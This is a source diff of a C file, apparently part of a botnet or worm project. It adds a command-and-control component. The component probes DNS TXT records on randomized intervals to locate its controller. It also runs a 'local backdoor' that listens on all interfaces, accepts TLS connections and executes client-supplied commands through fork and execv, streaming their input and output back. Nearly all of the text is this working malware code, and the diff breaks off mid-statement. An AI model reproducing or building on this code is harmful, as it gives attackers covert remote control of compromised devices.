diff options
Diffstat (limited to 'src/htbt.c')
-rw-r--r-- | src/htbt.c | 1222 |
1 files changed, 1042 insertions, 180 deletions
@@ -2,23 +2,43 @@ #include "util_rt.h" #include "protocol.h" #include "llist.h" -#include "dvault.h" #include "pth.h" #include "endian.h" +#include "mbedtls.h" +#include "iobuf.h" +#include <string.h> #include <errno.h> + #include <fcntl.h> #include <poll.h> +#include <unistd.h> +#include <sys/wait.h> +#include <sys/ioctl.h> // CNCP interval: HTBT_CNCP_INT_MIN + variance -#define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval -#define HTBT_CNCP_INT_VAR 1800000 // half an hour variance -#define HTBT_CNCP_PORT prne_htobe16(55420) +// #define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval +// #define HTBT_CNCP_INT_VAR 1800000 // half an hour variance +// TODO +#define HTBT_CNCP_INT_MIN 59000 +#define HTBT_CNCP_INT_VAR 2000 +#define HTBT_LBD_PORT prne_htobe16(PRNE_HTBT_PROTO_PORT) +#define HTBT_LBD_BACKLOG 4 +// LBD Socket Operation Timeout +static const struct timespec HTBT_LBD_SCK_OP_TIMEOUT = { 10, 0 }; // 10s +// LBD Socket Bind Retry Interval +static const struct timespec HTBT_LBD_BIND_INT = { 5, 0 }; // 5s +// LBD TLS Close Timeout +static const struct timespec HTBT_LBD_CLOSE_TIMEOUT = { 3, 0 }; // 3s + typedef struct { pth_t pth; prne_htbt_t *parent; - struct pollfd pfd; + prne_iobuf_t iobuf[2]; + int fd; + bool valid; + mbedtls_ssl_context ssl; } htbt_lbd_client_t; typedef struct { @@ -30,33 +50,33 @@ typedef struct { } htbt_req_slip_t; struct prne_htbt { - pth_t sigterm_pth; - mbedtls_ctr_drbg_context *rnd; - prne_resolv_t *resolv; - prne_llist_t req_q; + prne_htbt_param_t param; + pth_mutex_t lock; + pth_cond_t cond; bool loop_flag; struct { // Main - pth_mutex_t lock; - pth_cond_t cond; + prne_llist_t req_q; } main; struct { // CNC DNS Record Probe pth_t pth; pth_mutex_t lock; pth_cond_t cond; - prne_pth_cv_t cv; } cncp; struct { // Local Backdoor pth_t pth; - struct pollfd pfd; - prne_llist_t conn_list; // TODO: init + int fd; + prne_llist_t conn_list; } lbd; }; #define HTBT_INTP_CTX(x) prne_htbt_t *ctx = (prne_htbt_t*)(x); - static void fin_htbt_wkr (void *p) { - // TODO + HTBT_INTP_CTX(p); + + ctx->loop_flag = false; + prne_pth_cv_notify(&ctx->lock, &ctx->cond, true); + prne_pth_cv_notify(&ctx->cncp.lock, &ctx->cncp.cond, false); } static void free_htbt_wkr_ctx (void *p) { @@ -64,12 +84,14 @@ static void free_htbt_wkr_ctx (void *p) { // TODO - if (ctx->cncp.pth != NULL) { - pth_abort(ctx->cncp.pth); - } - if (ctx->lbd.pth != NULL) { - pth_abort(ctx->lbd.pth); - } + prne_free_llist(&ctx->main.req_q); + pth_abort(ctx->cncp.pth); + + pth_abort(ctx->lbd.pth); + prne_close(ctx->lbd.fd); + prne_free_llist(&ctx->lbd.conn_list); + + prne_free(p); } static void *htbt_main_entry (void *p) { @@ -79,12 +101,19 @@ static void *htbt_main_entry (void *p) { prne_assert(pth_resume(ctx->cncp.pth)); // TODO + while (ctx->loop_flag) { + pth_mutex_acquire(&ctx->lock, FALSE, NULL); + pth_cond_await(&ctx->cond, &ctx->lock, NULL); + pth_mutex_release(&ctx->lock); + } + + prne_close(ctx->lbd.fd); + ctx->lbd.fd = -1; - prne_close(ctx->lbd.pfd.fd); - ctx->lbd.pfd.fd = -1; - prne_pth_cv_notify(&ctx->cncp.cv); prne_assert(pth_join(ctx->lbd.pth, NULL)); prne_assert(pth_join(ctx->cncp.pth, NULL)); + ctx->lbd.pth = NULL; + ctx->cncp.pth = NULL; return NULL; } @@ -92,170 +121,1037 @@ static void *htbt_main_entry (void *p) { static void htbt_cncp_do_probe (prne_htbt_t *ctx) { prne_resolv_prm_t prm; bool r_ret; + prne_pth_cv_t cv; + char txtrec[256]; prne_resolv_init_prm(&prm); + cv.lock = &ctx->cncp.lock; + cv.cond = &ctx->cncp.cond; + cv.broadcast = false; + if (!ctx->param.cb_f.cnc_txtrec(txtrec)) { + goto END; + } + txtrec[255] = 0; r_ret = prne_resolv_prm_gettxtrec( - ctx->resolv, - prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL), - &ctx->cncp.cv, + ctx->param.resolv, + txtrec, + &cv, &prm); if (!r_ret) { - return; + goto END; } - prne_pth_cond_timedwait(&ctx->cncp.cv, NULL, NULL); - if (prm.fut->qr == PRNE_RESOLV_QR_OK) { + pth_mutex_acquire(cv.lock, FALSE, NULL); + pth_cond_await(cv.cond, cv.lock, NULL); + pth_mutex_release(cv.lock); + + if (prm.fut->qr == PRNE_RESOLV_QR_OK && prm.fut->rr_cnt > 0) { + // Scrub off the name + for (size_t i = 0; i < prm.fut->rr_cnt; i += 1) { + prne_memzero(prm.fut->rr[i].name, strlen(prm.fut->rr[i].name)); + } // TODO // <entries in hex> <txt rec name suffix> } +END: + prne_memzero(txtrec, sizeof(txtrec)); prne_resolv_free_prm(&prm); } -static void *htbt_cncp_entry (void *p) { // TODO: this works? +static void *htbt_cncp_entry (void *p) { HTBT_INTP_CTX(p); unsigned long intvar; - struct timespec timeout; + pth_event_t ev = NULL; + + while (ctx->loop_flag) { + htbt_cncp_do_probe(ctx); - while (true) { // calc interval variance - intvar = 0; - mbedtls_ctr_drbg_random(ctx->rnd, &intvar, sizeof(intvar)); + intvar = 0; // ignore failure of mbedtls_ctr_drbg_random() + mbedtls_ctr_drbg_random( + ctx->param.ctr_drbg, + (unsigned char*)&intvar, + sizeof(intvar)); intvar = HTBT_CNCP_INT_MIN + (intvar % HTBT_CNCP_INT_VAR); - timeout = prne_ms_timespec(intvar); + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(prne_ms_timespec(intvar))); // wait - prne_pth_cond_timedwait(&ctx->cncp.cv, &timeout, NULL); + prne_assert(ev != NULL); // fatal without timeout + pth_mutex_acquire(&ctx->lock, FALSE, NULL); + pth_cond_await(&ctx->cond, &ctx->lock, ev); + pth_mutex_release(&ctx->lock); if (!ctx->loop_flag) { break; } - - htbt_cncp_do_probe(ctx); } + pth_event_free(ev, FALSE); return NULL; } -static void *htbt_lbd_client_entry (void *p) { - prne_llist_entry_t *ent = (prne_llist_entry_t*)p; - htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ent->element; +static bool htbt_lbd_client_handshake (htbt_lbd_client_t *ctx) { + pth_event_t ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_SCK_OP_TIMEOUT)); + bool ret; - // TODO + ret = ev != NULL && prne_mbedtls_pth_handle( + &ctx->ssl, + mbedtls_ssl_handshake, + ctx->fd, + ev); + pth_event_free(ev, FALSE); - prne_close(ctx->pfd.fd); - ctx->pfd.fd = -1; + return ret; } -static void *htbt_lbd_entry (void *p) { - HTBT_INTP_CTX(p); +static void htbt_lbd_proc_close (htbt_lbd_client_t *ctx) { + pth_event_t ev; + + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_CLOSE_TIMEOUT)); + prne_mbedtls_pth_handle( + &ctx->ssl, + mbedtls_ssl_close_notify, + ctx->fd, + ev); + pth_event_free(ev, FALSE); + prne_shutdown(ctx->fd, SHUT_RDWR); + prne_close(ctx->fd); + ctx->fd = -1; + + ctx->valid = false; +} + +static void htbt_lbd_consume_outbuf ( + htbt_lbd_client_t *ctx, + const size_t req_size, + pth_event_t root_ev) +{ + struct pollfd pfd; int fret; - pth_event_t ev = NULL, ev_sub; - prne_llist_entry_t *ent; - htbt_lbd_client_t *client; - bool rebuild_ev = true; - while (true) { - if (rebuild_ev) { - pth_event_free(ev, TRUE); - ev = NULL; + pfd.fd = ctx->fd; + pfd.events = POLLOUT; - ent = ctx->lbd.conn_list.head; - while (ent != NULL) { - ev_sub = pth_event( - PTH_EVENT_TID | PTH_STATE_DEAD, - ((htbt_lbd_client_t*)ent->element)->pth); - prne_assert(ev_sub != NULL); - if (ev == NULL) { - ev = ev_sub; + while (ctx->iobuf[1].len > 0) { + fret = pth_poll_ev(&pfd, 1, -1, root_ev); + if (root_ev != NULL && + pth_event_status(root_ev) != PTH_STATUS_PENDING) + { + break; + } + if (fret == 1 && pfd.revents & POLLOUT) { + fret = mbedtls_ssl_write( + &ctx->ssl, + ctx->iobuf[1].m, + ctx->iobuf[1].len); + if (fret <= 0) { + ctx->valid = false; + break; + } + prne_iobuf_shift(ctx->iobuf + 1, -fret); + } + else { + break; + } + + if (ctx->iobuf[1].avail >= req_size) { + break; + } + } +} + +static void htbt_lbd_fab_frame ( + htbt_lbd_client_t *ctx, + const prne_htbt_msg_head_t *mh, + const void *body, + prne_htbt_ser_ft ser_f, + pth_event_t root_ev) +{ + size_t req, actual; + + req = 0; + prne_htbt_ser_msg_head(NULL, 0, &actual, mh); + req += actual; + ser_f(NULL, 0, &actual, body); + req += actual; + + prne_assert(req <= ctx->iobuf[1].size); + htbt_lbd_consume_outbuf(ctx, req, root_ev); + if (!ctx->valid) { + return; + } + + prne_htbt_ser_msg_head( + ctx->iobuf[1].m + ctx->iobuf[1].len, + ctx->iobuf[1].avail, + &actual, + mh); + prne_iobuf_shift(ctx->iobuf + 1, actual); + ser_f( + ctx->iobuf[1].m + ctx->iobuf[1].len, + ctx->iobuf[1].avail, + &actual, + body); + prne_iobuf_shift(ctx->iobuf + 1, actual); +} + +static void htbt_lbd_fab_status ( + htbt_lbd_client_t *ctx, + prne_htbt_status_code_t status, + int32_t err, + uint16_t corr_msgid, + pth_event_t root_ev) +{ + prne_htbt_msg_head_t mh; + prne_htbt_status_t s; + + prne_htbt_init_msg_head(&mh); + prne_htbt_init_status(&s); + mh.id = corr_msgid; + mh.is_rsp = true; + mh.op = PRNE_HTBT_OP_STATUS; + s.code = status; + s.err = err; + + htbt_lbd_fab_frame( + ctx, + &mh, + &s, + (prne_htbt_ser_ft)prne_htbt_ser_status, + root_ev); + + prne_htbt_free_msg_head(&mh); + prne_htbt_free_status(&s); +} + +static void htbt_lbd_raise_protoerr ( + htbt_lbd_client_t *ctx, + uint16_t corr_msgid, + int32_t err, + pth_event_t root_ev) +{ + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_PROTO_ERR, + err, + corr_msgid, + root_ev); + htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); + ctx->valid = false; +} + +static void htbt_lbd_fab_unimpl ( + htbt_lbd_client_t *ctx, + uint16_t corr_msgid, + pth_event_t root_ev) +{ + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_UNIMPL, + 0, + corr_msgid, + root_ev); +} + +static void htbt_lbd_srv_hostinfo ( + htbt_lbd_client_t *ctx, + pth_event_t root_ev, + const prne_htbt_msg_head_t *mh) +{ + prne_htbt_host_info_t hi; + + if (ctx->parent->param.cb_f.hostinfo == NULL) { + htbt_lbd_fab_unimpl(ctx, mh->id, root_ev); + return; + } + + prne_htbt_init_host_info(&hi); + + if (ctx->parent->param.cb_f.hostinfo(&hi)) { + htbt_lbd_fab_frame( + ctx, + mh, + &hi, + (prne_htbt_ser_ft)prne_htbt_ser_host_info, + root_ev); + } + else { + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_ERRNO, + errno, + mh->id, + root_ev); + } + + prne_htbt_free_host_info(&hi); +} + +static bool htbt_relay_child ( + const int conn, + mbedtls_ssl_context *ssl, + prne_iobuf_t *iobuf, + int *c_in, + int *c_out, + int *c_err) +{ + bool ret = true; + struct pollfd pfd[4]; + prne_htbt_stdio_t head[2]; + int f_ret, pending, out_p = 0; + size_t actual; + + pfd[0].fd = conn; + pfd[1].fd = *c_in; + pfd[2].fd = *c_out; + pfd[3].fd = *c_err; + prne_htbt_init_stdio(head + 0); + prne_htbt_init_stdio(head + 1); + + while ((!head[0].fin && head[0].len > 0) || + iobuf[1].len > 0 || + pfd[1].fd >= 0 || + pfd[2].fd >= 0 || + pfd[3].fd >= 0) + { + pfd[0].events = 0; + if (iobuf[1].len > 0) { + pfd[0].events |= POLLOUT; + } + if (iobuf[0].avail > 0 && !(head[0].fin && head[0].len == 0)) { + pfd[0].events |= POLLIN; + } + + if (head[0].len > 0 && iobuf[0].len > 0) { + pfd[1].events = POLLOUT; + } + else { + pfd[1].events = 0; + } + + pfd[2].events = 0; + pfd[3].events = 0; + if (iobuf[1].len == 0) { + if (pfd[2 + out_p].fd < 0) { + out_p = (out_p + 1) % 2; + } + pfd[2 + out_p].events |= POLLIN; + } + + f_ret = pth_poll(pfd, 4, -1); + if (f_ret < 0 && errno != EINTR) { + ret = false; + break; + } + if (f_ret == 0) { + break; + } + + if (pfd[0].revents & POLLIN) { + f_ret = mbedtls_ssl_read( + ssl, + iobuf[0].m + iobuf[0].len, + iobuf[0].avail); + if (f_ret <= 0) { + break; + } + else { + prne_iobuf_shift(iobuf + 0, f_ret); + if (head[0].len == 0) { + if (prne_htbt_dser_stdio( + iobuf[0].m, + iobuf[0].len, + &actual, + head + 0) == PRNE_HTBT_SER_RC_OK) + { + prne_iobuf_shift(iobuf + 0, -actual); + if (head[0].len == 0 && head[0].fin) { + close(*c_in); + *c_in = -1; + } + } + } + } + } + if (pfd[0].revents & POLLOUT) { + f_ret = mbedtls_ssl_write( + ssl, + iobuf[1].m, + iobuf[1].len); + if (f_ret <= 0) { + break; + } + else { + prne_iobuf_shift(iobuf + 1, -f_ret); + if (pending > 0) { + pending -= f_ret; } else { - prne_assert(pth_event_concat(ev, ev_sub, NULL) != NULL); + head[1].len -= f_ret; + if (head[1].len == 0) { + out_p = (out_p + 1) % 2; + } } + } + } + if (pfd[0].revents & (POLLNVAL | POLLHUP | POLLERR)) { + pfd[0].fd = -1; + } - ent = ent->next; + if (pfd[1].fd < 0 && head[0].len > 0) { + const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len); + + prne_iobuf_shift(iobuf + 0, -consume); + head[0].len -= consume; + } + else if (pfd[1].revents) { + const ssize_t consume = prne_op_min(iobuf[0].len, head[0].len); + + f_ret = write(*c_in, iobuf[0].m, consume); + if (f_ret <= 0) { + pfd[1].fd = -1; } - rebuild_ev = false; + prne_iobuf_shift(iobuf + 0, -consume); + head[0].len -= consume; + if (head[0].len == 0 && head[0].fin) { + close(*c_in); + *c_in = -1; + pfd[0].fd = -1; + } + } + + if (pfd[2 + out_p].revents) { + if (head[1].len == 0) { + prne_assert(ioctl(pfd[2 + out_p].fd, FIONREAD, &pending) == 0); + + head[1].len = (size_t)prne_op_min( + pending, + PRNE_HTBT_STDIO_LEN_MAX); + head[1].err = out_p != 0; + head[1].fin = head[1].len == 0; + prne_htbt_ser_stdio( + iobuf[1].m + iobuf[1].len, + iobuf[1].avail, + &actual, + head + 1); + pending = (size_t)actual; + prne_iobuf_shift(iobuf + 1, actual); + + if (head[1].fin) { + pfd[2 + out_p].fd = -1; + } + } + else { + f_ret = read( + pfd[2 + out_p].fd, + iobuf[1].m + iobuf[1].len, + prne_op_min(head[1].len, iobuf[1].avail)); + prne_dbgast(f_ret > 0); + prne_iobuf_shift(iobuf + 1, f_ret); + } + } + } + + prne_htbt_free_stdio(head + 0); + prne_htbt_free_stdio(head + 1); + close(*c_in); + close(*c_out); + close(*c_err); + *c_in = -1; + *c_out = -1; + *c_err = -1; + + return ret; +} + +/* htbt_do_cmd() +* +* Give flushed output buffer. +*/ +static void htbt_do_cmd ( + const bool detach, + char *const *args, + const int conn, + mbedtls_ssl_context *ssl, + prne_iobuf_t *iobuf, + prne_htbt_status_code_t *out_status, + int32_t *out_err) +{ + int cin[2] = { -1, -1 }; + int cout[2] = { -1, -1 }; + int cerr[2] = { -1, -1 }; + int errp[2] = { -1, -1 }; + pid_t child = -1; + int f_ret; + + if (pipe(errp) != 0 || + fcntl(errp[0], F_SETFD, FD_CLOEXEC) != 0 || + fcntl(errp[1], F_SETFD, FD_CLOEXEC) != 0) + { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; + } + if (!detach && + (pipe(cin) != 0 || pipe(cout) != 0 || pipe(cerr) != 0)) + { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; + } + + child = pth_fork(); + if (child == 0) { + do { // TRY + close(errp[0]); + + if (detach) { + if (setsid() < 0) { + break; + } + close(STDIN_FILENO); + // Inherit these if DEBUG +#if !defined(PRNE_DEBUG) + close(STDOUT_FILENO); + close(STDERR_FILENO); +#endif + } + else { + close(cin[1]); + close(cout[0]); + close(cerr[0]); + if (prne_chfd(cin[0], STDIN_FILENO) != STDIN_FILENO || + prne_chfd(cout[1], STDOUT_FILENO) != STDOUT_FILENO || + prne_chfd(cerr[1], STDERR_FILENO) != STDERR_FILENO) + { + break; + } + } + + execv(args[0], args); + } while (false); + // CATCH + *out_err = errno; + write(errp[1], out_err, sizeof(int32_t)); + raise(SIGKILL); + } + else if (child < 0) { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; + } + + // The parent continues ... + close(errp[1]); + + // This could block forever if the child gets stoppep + f_ret = pth_read(errp[0], out_err, sizeof(int32_t)); + if (f_ret == sizeof(int32_t)) { + *out_status = PRNE_HTBT_STATUS_ERRNO; + goto END; + } + prne_close(errp[0]); + errp[0] = -1; + + *out_status = PRNE_HTBT_STATUS_OK; + if (detach) { + *out_err = 0; + child = -1; + } + else { + int status; + + prne_close(cin[0]); + prne_close(cout[1]); + prne_close(cerr[1]); + cin[0] = cout[1] = cerr[1] = errp[1] = -1; + if (!prne_sck_fcntl(cin[1]) || + !prne_sck_fcntl(cout[0]) || + !prne_sck_fcntl(cerr[0])) + { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; } - if (ctx->lbd.pfd.fd < 0) { + if (htbt_relay_child(conn, ssl, iobuf, &cin[1], &cout[0], &cerr[0])) { + if (pth_waitpid(child, &status, WUNTRACED) < 0) { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + goto END; + } + else if (WIFEXITED(status)) { + *out_err = WEXITSTATUS(status); + } + else if (WIFSIGNALED(status)) { + *out_err = 128 + WTERMSIG(status); + } + else { + // child has been stopped just right before exit + *out_err = -1; + } + child = -1; + } + else { + *out_status = PRNE_HTBT_STATUS_ERRNO; + *out_err = errno; + } + } + +END: + prne_close(cin[0]); + prne_close(cin[1]); + prne_close(cout[0]); + prne_close(cout[1]); + prne_close(cerr[0]); + prne_close(cerr[1]); + prne_close(errp[0]); + prne_close(errp[1]); + if (child > 0) { + kill(child, SIGKILL); + pth_waitpid(child, NULL, 0); + } +} + +static bool htbt_lbd_srv_run_cmd ( + htbt_lbd_client_t *ctx, + pth_event_t root_ev, + const size_t off, + const prne_htbt_msg_head_t *mh) +{ + bool ret = false; + size_t actual; + prne_htbt_ser_rc_t s_ret; + prne_htbt_cmd_t cmd; + prne_htbt_status_code_t status = PRNE_HTBT_STATUS_ERRNO; + int32_t err = 0; + + prne_htbt_init_cmd(&cmd); + + s_ret = prne_htbt_dser_cmd( + ctx->iobuf[0].m + off, + ctx->iobuf[0].len - off, + &actual, + &cmd); + if (s_ret != PRNE_HTBT_SER_RC_MORE_BUF) { + prne_iobuf_shift(ctx->iobuf + 0, -(off + actual)); + } + if (s_ret == PRNE_HTBT_SER_RC_FMT_ERR) { + htbt_lbd_raise_protoerr(ctx, mh->id, 0, root_ev); + goto END; + } + if (s_ret != PRNE_HTBT_SER_RC_OK) { + htbt_lbd_fab_status( + ctx, + PRNE_HTBT_STATUS_ERRNO, + errno, + mh->id, + root_ev); + goto END; + } + + htbt_lbd_consume_outbuf(ctx, ctx->iobuf[1].len, root_ev); + if (root_ev != NULL && pth_event_status(root_ev) == PTH_STATUS_PENDING) { + htbt_do_cmd( + cmd.detach, + cmd.args, + ctx->fd, + &ctx->ssl, + ctx->iobuf, + &status, + &err); + htbt_lbd_fab_status(ctx, status, err, mh->id, root_ev); + ret = true; + } +END: + prne_htbt_free_cmd(&cmd); + return ret; +} + +static bool htbt_lbd_consume_inbuf ( + htbt_lbd_client_t *ctx, + pth_event_t root_ev) +{ + prne_htbt_ser_rc_t s_ret; + prne_htbt_msg_head_t f_head; + size_t actual; + bool ret = true; + + prne_htbt_init_msg_head(&f_head); + + s_ret = prne_htbt_dser_msg_head( + ctx->iobuf[0].m, + ctx->iobuf[0].len, + &actual, + &f_head); + if (s_ret != PRNE_HTBT_SER_RC_OK) { + ret = false; + goto END; + } + if (f_head.is_rsp || + (f_head.op != PRNE_HTBT_OP_NOOP && f_head.id == 0)) + { + htbt_lbd_raise_protoerr(ctx, f_head.id, 0, root_ev); + ret = false; + goto END; + } + + f_head.is_rsp = true; + switch (f_head.op) { + case PRNE_HTBT_OP_NOOP: + prne_iobuf_shift(ctx->iobuf + 0, -actual); + break; + case PRNE_HTBT_OP_HOST_INFO: + htbt_lbd_srv_hostinfo(ctx, root_ev, &f_head); + break; + case PRNE_HTBT_OP_RUN_CMD: + ret = htbt_lbd_srv_run_cmd(ctx, root_ev, actual, &f_head); + break; + case PRNE_HTBT_OP_RUN_BIN: + case PRNE_HTBT_OP_HOVER: + case PRNE_HTBT_OP_NY_BIN: + default: + htbt_lbd_raise_protoerr( + ctx, + f_head.id, + PRNE_HTBT_STATUS_UNIMPL, + root_ev); + ret = false; + break; + } + +END: + prne_htbt_free_msg_head(&f_head); + + return ret; +} + +static void *htbt_lbd_client_entry (void *p) { + htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)p; + int rw_size; + pth_event_t ev = NULL, ev_timeout = NULL; + struct pollfd pfd; + unsigned long ev_spec; + + if (!htbt_lbd_client_handshake(ctx)) { + ctx->valid = false; + } + + while (ctx->parent->loop_flag && ctx->valid) { + if (ctx->iobuf[1].len > 0) { + ev_spec = + PTH_EVENT_FD | + PTH_UNTIL_FD_READABLE | + PTH_UNTIL_FD_WRITEABLE | + PTH_UNTIL_FD_EXCEPTION; + pfd.events = POLLIN | POLLOUT; + } + else { + ev_spec = + PTH_EVENT_FD | + PTH_UNTIL_FD_READABLE | + PTH_UNTIL_FD_EXCEPTION; + pfd.events = POLLIN; + } + + if (ev_timeout == NULL) { + ev_timeout = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_SCK_OP_TIMEOUT)); + prne_assert(ev_timeout != NULL); + } + pth_event_free(ev, FALSE); + ev = pth_event( + ev_spec, + ctx->fd); + prne_assert(ev != NULL); + pth_event_concat(ev, ev_timeout, NULL); + + prne_assert(pth_mutex_acquire(&ctx->parent->lock, FALSE, ev)); + pth_cond_await(&ctx->parent->cond, &ctx->parent->lock, ev); + pth_mutex_release(&ctx->parent->lock); + if (!ctx->parent->loop_flag) { break; } - fret = pth_poll_ev(&ctx->lbd.pfd, 1, -1, ev); - if (ev != NULL && pth_event_occurred(ev)) { - ent = ctx->lbd.conn_list.head; - while (ent != NULL) { - client = (htbt_lbd_client_t*)ent->element; + pfd.fd = ctx->fd; + if (poll(&pfd, 1, 0) == 1) { + if (!(pfd.revents & (POLLIN | POLLOUT))) { + break; + } - if (client->pfd.fd < 0) { - pth_join(client->pth, NULL); - prne_free(client); - ent = prne_llist_erase(&ctx->lbd.conn_list, ent); - rebuild_ev = true; + if (pfd.revents & POLLOUT) { + htbt_lbd_consume_outbuf(ctx, 0, ev_timeout); + } + if (pfd.revents & POLLIN) { + if (ctx->iobuf[0].avail == 0) { + prne_dbgpf("** Malicious client?\n"); + goto END; } - else { - ent = ent->next; + rw_size = mbedtls_ssl_read( + &ctx->ssl, + ctx->iobuf[0].m + ctx->iobuf[0].len, + ctx->iobuf[0].avail); + if (rw_size <= 0) { + break; + } + prne_iobuf_shift(ctx->iobuf + 0, rw_size); + + if (htbt_lbd_consume_inbuf(ctx, ev_timeout)) { + pth_event_free(ev_timeout, FALSE); + ev_timeout = NULL; } } } + } + +END: + pth_event_free(ev, TRUE); + htbt_lbd_proc_close(ctx); + + return NULL; +} + +static void htbt_init_lbd_client (htbt_lbd_client_t *c) { + c->pth = NULL; + c->parent = NULL; + prne_init_iobuf(c->iobuf + 0); + prne_init_iobuf(c->iobuf + 1); + c->fd = -1; + c->valid = true; + mbedtls_ssl_init(&c->ssl); +} + +static void htbt_free_lbd_client (htbt_lbd_client_t *c) { + if (c == NULL) { + return; + } + pth_abort(c->pth); + prne_free_iobuf(c->iobuf + 0); + prne_free_iobuf(c->iobuf + 1); + prne_close(c->fd); + c->fd = -1; + mbedtls_ssl_free(&c->ssl); + prne_free(c); +} + +static void htbt_lbd_setup_loop (prne_htbt_t *ctx) { + uint8_t m_sckaddr[prne_op_max( + sizeof(struct sockaddr_in), + sizeof(struct sockaddr_in6))]; + int optval; + socklen_t sl; + pth_event_t ev; + + while (ctx->loop_flag) { + prne_memzero(m_sckaddr, sizeof(m_sckaddr)); + if ((ctx->lbd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) { + struct sockaddr_in6* sa = (struct sockaddr_in6*)m_sckaddr; + + sa->sin6_addr = in6addr_any; + sa->sin6_family = AF_INET6; + sa->sin6_port = HTBT_LBD_PORT; + sl = sizeof(struct sockaddr_in6); + } + else if ((ctx->lbd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) { + struct sockaddr_in* sa = (struct sockaddr_in*)m_sckaddr; - if (fret < 0 && errno != EINTR) { + sa->sin_addr.s_addr = INADDR_ANY; + sa->sin_family = AF_INET; + sa->sin_port = HTBT_LBD_PORT; + sl = sizeof(struct sockaddr_in); + } + else { + goto ERR; + } + if (!prne_sck_fcntl(ctx->lbd.fd)) { + goto ERR; + } + optval = 1; + setsockopt( + ctx->lbd.fd, + SOL_SOCKET, + SO_REUSEADDR, + &optval, + sizeof(optval)); + if (bind(ctx->lbd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) { + goto ERR; + } + if (listen(ctx->lbd.fd, HTBT_LBD_BACKLOG) != 0) { + goto ERR; + } + + break; +ERR: + prne_close(ctx->lbd.fd); + ctx->lbd.fd = -1; + + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_BIND_INT)); + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + pth_cond_await(&ctx->cond, &ctx->lock, ev); + pth_mutex_release(&ctx->lock); + pth_event_free(ev, FALSE); + } +} + +static void htbt_lbd_serve_loop (prne_htbt_t *ctx) { + int fret; + pth_event_t ev = NULL; + prne_llist_entry_t *ent; + htbt_lbd_client_t *client; + pth_attr_t attr; + pth_state_t ths; + struct pollfd pfd; + const size_t PAGESIZE = prne_getpagesize(); + + while (ctx->loop_flag) { + if (ev == NULL) { + ev = pth_event( + PTH_EVENT_FD | PTH_UNTIL_FD_READABLE | PTH_UNTIL_FD_EXCEPTION, + ctx->lbd.fd); + prne_assert(ev != NULL); + + ent = ctx->lbd.conn_list.head; + while (ent != NULL) { + pth_event_t ev_sub = pth_event( + PTH_EVENT_TID | PTH_UNTIL_TID_DEAD, + ((htbt_lbd_client_t*)ent->element)->pth); + prne_assert(ev_sub != NULL); + pth_event_concat(ev, ev_sub, NULL); + + ent = ent->next; + } + } + + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + pth_cond_await(&ctx->cond, &ctx->lock, ev); + pth_mutex_release(&ctx->lock); + if (!ctx->loop_flag) { break; } - else if (fret > 0) { - if (ctx->lbd.pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { + + ent = ctx->lbd.conn_list.head; + while (ent != NULL) { + client = (htbt_lbd_client_t*)ent->element; + + attr = pth_attr_of(client->pth); + prne_assert(pth_attr_get(attr, PTH_ATTR_STATE, &ths)); + pth_attr_destroy(attr); + + if (ths == PTH_STATE_DEAD) { + pth_join(client->pth, NULL); + client->pth = NULL; + htbt_free_lbd_client(client); + ent = prne_llist_erase(&ctx->lbd.conn_list, ent); + + pth_event_free(ev, TRUE); + ev = NULL; + } + else { + ent = ent->next; + } + } + + pfd.fd = ctx->lbd.fd; + pfd.events = POLLIN; + if (poll(&pfd, 1, 0) == 1) { + if (!(pfd.revents & POLLIN)) { break; } - else if (ctx->lbd.pfd.revents & POLLIN) { + + fret = accept(ctx->lbd.fd, NULL, NULL); + if (fret >= 0) { + pth_event_free(ev, TRUE); + ev = NULL; client = NULL; ent = NULL; - fret = accept(ctx->lbd.pfd.fd, NULL, NULL); - do { - if (fret < 0) { - break; - } + do { // TRY + const size_t IOBUF_SIZE[2][2] = { + // TODO: switch after testing + { + PRNE_HTBT_PROTO_MIN_BUF, + PRNE_HTBT_PROTO_SUB_MIN_BUF }, + { PAGESIZE, PAGESIZE } + }; + bool alloc; client = (htbt_lbd_client_t*)prne_malloc( sizeof(htbt_lbd_client_t), 1); if (client == NULL) { - break; + goto CATCH; + } + htbt_init_lbd_client(client); + + for (size_t i = 0; i < 2; i += 1) { + alloc = + prne_alloc_iobuf( + client->iobuf + 0, + IOBUF_SIZE[i][0]) && + prne_alloc_iobuf( + client->iobuf + 1, + IOBUF_SIZE[i][1]); + if (alloc) { + break; + } + } + if (!alloc) { + goto CATCH; } - client->pth = NULL; client->parent = ctx; - client->pfd.fd = fret; + client->fd = fret; + if (mbedtls_ssl_setup( + &client->ssl, + ctx->param.lbd_ssl_conf) != 0) + { + goto CATCH; + } + mbedtls_ssl_set_bio( + &client->ssl, + &client->fd, + prne_mbedtls_ssl_send_cb, + prne_mbedtls_ssl_recv_cb, + NULL); ent = prne_llist_append(&ctx->lbd.conn_list, client); if (ent == NULL) { - break; + goto CATCH; } client->pth = pth_spawn( PTH_ATTR_DEFAULT, htbt_lbd_client_entry, - ent); + client); if 